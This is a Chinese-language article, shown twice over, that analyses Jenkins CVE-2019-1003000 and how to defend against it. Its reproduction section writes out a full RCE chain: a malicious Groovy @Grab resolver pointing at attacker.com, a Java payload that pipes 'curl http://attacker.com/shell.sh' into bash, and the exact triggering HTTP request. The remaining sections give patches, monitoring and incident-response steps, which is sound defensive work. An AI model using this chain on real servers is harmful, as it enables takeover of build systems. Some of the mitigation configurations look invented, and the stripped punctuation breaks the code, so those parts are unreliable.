Jenkins沙箱逃逸漏洞CVE-2019-1003000深度剖析与实战防御1. 漏洞背景与影响范围2019年初Jenkins官方发布了一则高危安全公告披露了Script Security和Pipeline插件中存在的一个严重漏洞。该漏洞允许具有Overall/Read权限的用户绕过Groovy沙箱保护在Jenkins主服务器上执行任意代码。漏洞涉及三个关键插件Pipeline: Declarative Plugin ≤1.3.4Pipeline: Groovy Plugin ≤2.61Script Security Plugin ≤1.49漏洞核心机制在于攻击者可以利用Groovy的AST转换注释如Grab在脚本编译阶段绕过安全沙箱检查。这种设计缺陷使得攻击者能够通过精心构造的Pipeline脚本实现远程代码执行(RCE)。重要提示即使启用了Jenkins的脚本安全沙箱此漏洞仍可被利用这使得它的危害性显著增加。2. 技术原理深度解析2.1 Groovy沙箱机制剖析Jenkins的Pipeline功能依赖于Groovy脚本执行为了安全考虑实现了沙箱环境来限制危险操作。沙箱通过以下方式工作白名单机制只允许特定的Groovy/Java方法和类脚本审批管理员需批准非白名单操作AST转换检查在编译阶段验证脚本结构// 正常沙箱限制下的Pipeline脚本示例 node { stage(Build) { sh make // 白名单允许的操作 } }2.2 AST转换注释的滥用漏洞的关键在于Groovy的注解处理器机制。Grab注解本用于方便地引入Maven依赖Grab(org.apache.commons:commons-lang3:3.9) import org.apache.commons.lang3.StringUtils攻击者可以构造恶意注解链禁用校验和检查GrabConfig(disableChecksumstrue)指定恶意仓库GrabResolver(nameevil, roothttp://attacker.com)加载恶意依赖Grab(groupevil, modulepayload, version1)2.3 漏洞触发流程完整的攻击链包含以下步骤攻击者提交包含恶意注解的Pipeline脚本Jenkins使用GroovyClassLoader解析脚本注解处理器从攻击者控制的仓库下载恶意JARJAR中的静态初始化块或特定类被自动执行实现远程代码执行3. 漏洞复现与攻击演示3.1 环境搭建建议推荐使用以下Docker环境进行测试git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git cd cve-2019-1003000-jenkins-rce-poc/sample-vuln ./run.sh # 启动漏洞环境环境默认配置Jenkins 2.138.1用户凭证user1/user1预置Jobmy-pipeline3.2 手工验证漏洞存在使用DNSLog进行无侵入验证GrabConfig(disableChecksumstrue) GrabResolver(nametest, roothttp://xxx.dnslog.cn) Grab(grouptest.sec, moduletest, version1) import Payload;观察DNSLog平台是否收到请求确认漏洞存在。3.3 完整攻击链构建步骤1准备恶意JAR// jkrce.java public class jkrce { public jkrce() { try { String cmd curl http://attacker.com/shell.sh | bash; Runtime.getRuntime().exec(cmd); } catch (Exception e) {} } }编译并打包javac jkrce.java mkdir -p META-INF/services/ echo jkrce META-INF/services/org.codehaus.groovy.plugins.Runners jar cvf payload.jar .步骤2托管恶意JAR将payload.jar放置在可公开访问的Web服务器上路径为http://attacker.com/repo/tools/jenkins/1/步骤3发送恶意请求GET /securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?valueGrabConfig(disableChecksumstrue)%0aGrabResolver(name%27payload%27,root%27http://attacker.com/repo/%27)%0aGrab(group%27tools%27,module%27jenkins%27,version%271%27)%0aimport%20jkrce; HTTP/1.1 Host: vulnerable-jenkins.com4. 防御方案与最佳实践4.1 紧急修复措施立即更新插件Pipeline: Declarative → 1.3.4.1Pipeline: Groovy → 2.61.1Script Security → 1.50临时缓解方案# 禁用相关端点 echo deny /securityRealm/user/*/descriptorByName/* $JENKINS_HOME/secrets/whitelist.conf4.2 安全加固建议权限控制矩阵角色建议权限风险操作开发者Job/Configure限制Pipeline脚本修改运维Overall/Read禁止赋予Admin权限管理员全权限定期审计Pipeline安全编码规范使用声明式Pipeline而非脚本式启用脚本审核properties([ pipelineTriggers([]), parameters([]), scriptApproval([ method java.lang.Runtime exec java.lang.String ]) ])限制共享库使用# 在Jenkins全局配置中设置 -Dorg.jenkinsci.plugins.workflow.libs.LibrariesPicker.filter^approved-.$4.3 持续监控策略日志监控关键端点/securityRealm/user/.*/descriptorByName/.*checkScriptCompile文件完整性检查# 监控$JENKINS_HOME/.groovy/grapes/下的异常JAR find $JENKINS_HOME -name *.jar -mtime -1 -ls网络出口过滤限制Jenkins服务器出站连接到已知Maven仓库5. 漏洞检测与响应5.1 自动化检测脚本使用以下Groovy脚本检查系统是否受影响import jenkins.model.* import org.jenkinsci.plugins.scriptsecurity.scripts.* def isVulnerable() { def plugins Jenkins.instance.pluginManager.plugins def declarative plugins.find { it.shortName pipeline-model-declarative } def groovy plugins.find { it.shortName workflow-cps } def security plugins.find { it.shortName script-security } return (declarative.version 1.3.4 || groovy.version 2.61 || security.version 1.49) } println Vulnerable to CVE-2019-1003000: ${isVulnerable()}5.2 事件响应流程确认入侵检查/var/log/jenkins/jenkins.log中的异常编译请求排查最近修改的Pipeline任务遏制措施# 立即停止服务 systemctl stop jenkins # 备份关键数据 tar czvf jenkins_backup_$(date %s).tar.gz $JENKINS_HOME恢复步骤从备份恢复$JENKINS_HOME/jobs/目录审查所有Pipeline脚本中的Grab使用重置所有用户凭证6. 架构层面的防御思考6.1 安全开发生命周期集成Pipeline代码审查使用GitHub Advanced Security或GitLab SAST扫描Groovy脚本实施Pull Request审核流程最小权限CI/CD设计graph LR A[开发者] --|提交代码| B[Git仓库] B --|触发| C[Jenkins Agent] C --|受限权限| D[构建环境] D --|只读访问| E[制品仓库]6.2 高级防护方案网络隔离策略将Jenkins master置于独立VLAN使用跳板机控制访问运行时防护# 使用SELinux限制Jenkins进程 setsebool -P jenkins_can_network_connect 0eBPF监控// 监控execve系统调用 SEC(tracepoint/syscalls/sys_enter_execve) int trace_execve(struct trace_event_raw_sys_enter* ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(comm, sizeof(comm)); if (memcmp(comm, java, 4) 0) { bpf_printk(Jenkins执行命令: %s, ctx-args[1]); } return 0; }在实际生产环境中我们曾遇到攻击者尝试利用此漏洞植入挖矿木马的情况。通过实施网络出口过滤和文件完整性监控成功在恶意载荷下载阶段阻断了攻击。这提醒我们多层防御体系在对抗此类漏洞时至关重要。
从Groovy沙箱逃逸到RCE:深入解析Jenkins CVE-2019-1003000漏洞原理与防御
发布时间:2026/5/28 22:30:17
Jenkins沙箱逃逸漏洞CVE-2019-1003000深度剖析与实战防御1. 漏洞背景与影响范围2019年初Jenkins官方发布了一则高危安全公告披露了Script Security和Pipeline插件中存在的一个严重漏洞。该漏洞允许具有Overall/Read权限的用户绕过Groovy沙箱保护在Jenkins主服务器上执行任意代码。漏洞涉及三个关键插件Pipeline: Declarative Plugin ≤1.3.4Pipeline: Groovy Plugin ≤2.61Script Security Plugin ≤1.49漏洞核心机制在于攻击者可以利用Groovy的AST转换注释如Grab在脚本编译阶段绕过安全沙箱检查。这种设计缺陷使得攻击者能够通过精心构造的Pipeline脚本实现远程代码执行(RCE)。重要提示即使启用了Jenkins的脚本安全沙箱此漏洞仍可被利用这使得它的危害性显著增加。2. 技术原理深度解析2.1 Groovy沙箱机制剖析Jenkins的Pipeline功能依赖于Groovy脚本执行为了安全考虑实现了沙箱环境来限制危险操作。沙箱通过以下方式工作白名单机制只允许特定的Groovy/Java方法和类脚本审批管理员需批准非白名单操作AST转换检查在编译阶段验证脚本结构// 正常沙箱限制下的Pipeline脚本示例 node { stage(Build) { sh make // 白名单允许的操作 } }2.2 AST转换注释的滥用漏洞的关键在于Groovy的注解处理器机制。Grab注解本用于方便地引入Maven依赖Grab(org.apache.commons:commons-lang3:3.9) import org.apache.commons.lang3.StringUtils攻击者可以构造恶意注解链禁用校验和检查GrabConfig(disableChecksumstrue)指定恶意仓库GrabResolver(nameevil, roothttp://attacker.com)加载恶意依赖Grab(groupevil, modulepayload, version1)2.3 漏洞触发流程完整的攻击链包含以下步骤攻击者提交包含恶意注解的Pipeline脚本Jenkins使用GroovyClassLoader解析脚本注解处理器从攻击者控制的仓库下载恶意JARJAR中的静态初始化块或特定类被自动执行实现远程代码执行3. 漏洞复现与攻击演示3.1 环境搭建建议推荐使用以下Docker环境进行测试git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git cd cve-2019-1003000-jenkins-rce-poc/sample-vuln ./run.sh # 启动漏洞环境环境默认配置Jenkins 2.138.1用户凭证user1/user1预置Jobmy-pipeline3.2 手工验证漏洞存在使用DNSLog进行无侵入验证GrabConfig(disableChecksumstrue) GrabResolver(nametest, roothttp://xxx.dnslog.cn) Grab(grouptest.sec, moduletest, version1) import Payload;观察DNSLog平台是否收到请求确认漏洞存在。3.3 完整攻击链构建步骤1准备恶意JAR// jkrce.java public class jkrce { public jkrce() { try { String cmd curl http://attacker.com/shell.sh | bash; Runtime.getRuntime().exec(cmd); } catch (Exception e) {} } }编译并打包javac jkrce.java mkdir -p META-INF/services/ echo jkrce META-INF/services/org.codehaus.groovy.plugins.Runners jar cvf payload.jar .步骤2托管恶意JAR将payload.jar放置在可公开访问的Web服务器上路径为http://attacker.com/repo/tools/jenkins/1/步骤3发送恶意请求GET /securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?valueGrabConfig(disableChecksumstrue)%0aGrabResolver(name%27payload%27,root%27http://attacker.com/repo/%27)%0aGrab(group%27tools%27,module%27jenkins%27,version%271%27)%0aimport%20jkrce; HTTP/1.1 Host: vulnerable-jenkins.com4. 防御方案与最佳实践4.1 紧急修复措施立即更新插件Pipeline: Declarative → 1.3.4.1Pipeline: Groovy → 2.61.1Script Security → 1.50临时缓解方案# 禁用相关端点 echo deny /securityRealm/user/*/descriptorByName/* $JENKINS_HOME/secrets/whitelist.conf4.2 安全加固建议权限控制矩阵角色建议权限风险操作开发者Job/Configure限制Pipeline脚本修改运维Overall/Read禁止赋予Admin权限管理员全权限定期审计Pipeline安全编码规范使用声明式Pipeline而非脚本式启用脚本审核properties([ pipelineTriggers([]), parameters([]), scriptApproval([ method java.lang.Runtime exec java.lang.String ]) ])限制共享库使用# 在Jenkins全局配置中设置 -Dorg.jenkinsci.plugins.workflow.libs.LibrariesPicker.filter^approved-.$4.3 持续监控策略日志监控关键端点/securityRealm/user/.*/descriptorByName/.*checkScriptCompile文件完整性检查# 监控$JENKINS_HOME/.groovy/grapes/下的异常JAR find $JENKINS_HOME -name *.jar -mtime -1 -ls网络出口过滤限制Jenkins服务器出站连接到已知Maven仓库5. 漏洞检测与响应5.1 自动化检测脚本使用以下Groovy脚本检查系统是否受影响import jenkins.model.* import org.jenkinsci.plugins.scriptsecurity.scripts.* def isVulnerable() { def plugins Jenkins.instance.pluginManager.plugins def declarative plugins.find { it.shortName pipeline-model-declarative } def groovy plugins.find { it.shortName workflow-cps } def security plugins.find { it.shortName script-security } return (declarative.version 1.3.4 || groovy.version 2.61 || security.version 1.49) } println Vulnerable to CVE-2019-1003000: ${isVulnerable()}5.2 事件响应流程确认入侵检查/var/log/jenkins/jenkins.log中的异常编译请求排查最近修改的Pipeline任务遏制措施# 立即停止服务 systemctl stop jenkins # 备份关键数据 tar czvf jenkins_backup_$(date %s).tar.gz $JENKINS_HOME恢复步骤从备份恢复$JENKINS_HOME/jobs/目录审查所有Pipeline脚本中的Grab使用重置所有用户凭证6. 架构层面的防御思考6.1 安全开发生命周期集成Pipeline代码审查使用GitHub Advanced Security或GitLab SAST扫描Groovy脚本实施Pull Request审核流程最小权限CI/CD设计graph LR A[开发者] --|提交代码| B[Git仓库] B --|触发| C[Jenkins Agent] C --|受限权限| D[构建环境] D --|只读访问| E[制品仓库]6.2 高级防护方案网络隔离策略将Jenkins master置于独立VLAN使用跳板机控制访问运行时防护# 使用SELinux限制Jenkins进程 setsebool -P jenkins_can_network_connect 0eBPF监控// 监控execve系统调用 SEC(tracepoint/syscalls/sys_enter_execve) int trace_execve(struct trace_event_raw_sys_enter* ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(comm, sizeof(comm)); if (memcmp(comm, java, 4) 0) { bpf_printk(Jenkins执行命令: %s, ctx-args[1]); } return 0; }在实际生产环境中我们曾遇到攻击者尝试利用此漏洞植入挖矿木马的情况。通过实施网络出口过滤和文件完整性监控成功在恶意载荷下载阶段阻断了攻击。这提醒我们多层防御体系在对抗此类漏洞时至关重要。